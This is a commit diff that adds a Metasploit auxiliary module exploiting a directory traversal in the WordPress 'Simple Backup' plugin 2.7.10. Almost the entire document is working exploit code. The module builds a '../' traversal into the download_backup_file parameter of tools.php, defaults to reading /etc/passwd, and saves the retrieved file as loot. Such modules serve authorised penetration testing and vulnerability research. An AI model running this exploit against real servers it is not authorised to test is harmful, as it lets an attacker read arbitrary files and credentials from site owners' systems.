Land rapid7#5397, @espreto's module for WordPress Simple Backup File Read Vulnerability

Author: jvazquez-r7

modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb

@@ -0,0 +1,89 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Report
+  include Msf::HTTP::Wordpress
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'WordPress Simple Backup File Read Vulnerability',
+      'Description'    => %q{
+        This module exploits a directory traversal vulnerability in WordPress Plugin
+        "Simple Backup" version 2.7.10, allowing to read arbitrary files with the
+        web server privileges.
+      },
+      'References'     =>
+        [
+          ['WPVDB', '7997'],
+          ['URL', 'http://packetstormsecurity.com/files/131919/']
+        ],
+      'Author'         =>
+        [
+          'Mahdi.Hidden', # Vulnerability Discovery
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
+        ],
+      'License'        => MSF_LICENSE
+    ))
+
+    register_options(
+      [
+        OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
+        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ])
+      ], self.class)
+  end
+
+  def check
+    check_plugin_version_from_readme('simple-backup', '2.7.11')
+  end
+
+  def run_host(ip)
+    traversal = '../' * datastore['DEPTH']
+    filename = datastore['FILEPATH']
+    filename = filename[1, filename.length] if filename =~ /^\//
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri'    => normalize_uri(wordpress_url_backend, 'tools.php'),
+      'vars_get' =>
+        {
+          'page'  => 'backup_manager',
+          'download_backup_file' => "#{traversal}#{filename}"
+        }
+    )
+
+    unless res && res.body
+      vprint_error("#{peer} - Server did not respond in an expected way.")
+      return
+    end
+
+    if res.code == 200 &&
+        res.body.length > 0 &&
+        res.headers['Content-Disposition'] &&
+        res.headers['Content-Disposition'].include?('attachment; filename') &&
+        res.headers['Content-Length'] &&
+        res.headers['Content-Length'].to_i > 0
+
+      vprint_line("#{res.body}")
+      fname = datastore['FILEPATH']
+
+      path = store_loot(
+        'simplebackup.traversal',
+        'text/plain',
+        ip,
+        res.body,
+        fname
+      )
+
+      print_good("#{peer} - File saved in: #{path}")
+    else
+      vprint_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.")
+    end
+  end
+end